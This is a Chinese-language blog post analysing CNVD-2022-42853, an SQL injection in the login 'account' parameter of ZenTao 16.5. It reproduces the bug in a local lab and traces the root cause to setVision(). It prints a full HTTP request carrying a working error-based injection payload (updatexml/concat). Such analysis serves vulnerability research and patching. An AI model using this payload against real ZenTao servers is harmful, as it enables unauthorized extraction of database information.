S1xHcL's Blog.

CNVD-2022-42853-漏洞分析

Word count: 431Reading time: 2 min
2022/10/18 Share

漏洞背景

禅道16.5 的版本未对输入的 account 参数内容作过滤校验,攻击者通过漏洞可以获取数据库敏感信息。

漏洞复现环境

  • PHP 5.6.27
  • Apache 2.4.23
  • 禅道 16.5

环境搭建

漏洞复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /zentaopms/www/index.php?m=user&f=login&t=html HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/zentaopms/www/index.php?m=user&f=login&referer=L3plbnRhb3Btcy93d3cvaW5kZXgucGhw
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 185
Origin: http://127.0.0.1
Connection: close
Cookie: zentaosid=vm2t0mvifjf519nj5gi74gpcf6; lang=zh-cn
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

account=admin'+and+updatexml(1,concat(0x7e,user(),0x7e),3)--+&password=14e1b600b1fd579f47433b88e8d85291&passwordStrength=0&referer=%2Fzentaopms%2Fwww%2F&verifyRand=&keepLogin=0&captcha=

漏洞分析

根据 payload 直接定位到 zentaopms/www/index.php 文件,根据报错信息发现漏洞位于第34行处

打断点调试进入 createApp 函数中,文件在 zentaopms/framework/base/router.class.php 中第 430~434 行。createApp()函数创建新应用,其中 $appName$className 分别为 pmsrouter

在第 433 行处实例化 router 对象,构造函数 __construct() 会自动调用,但 router 类中没有 ,追踪到父类 baseRouter 中进行调用

继续跟进,漏洞位于 setVision() 函数中

函数会从 session,POST,GET 中获取 $account 值,未作任何过滤直接插入到第702行sql查询语句中,从而导致注入漏洞

CATALOG
  1. 1. 漏洞背景
  2. 2. 漏洞复现环境
    1. 2.1. 环境搭建
    2. 2.2. 漏洞复现
  3. 3. 漏洞分析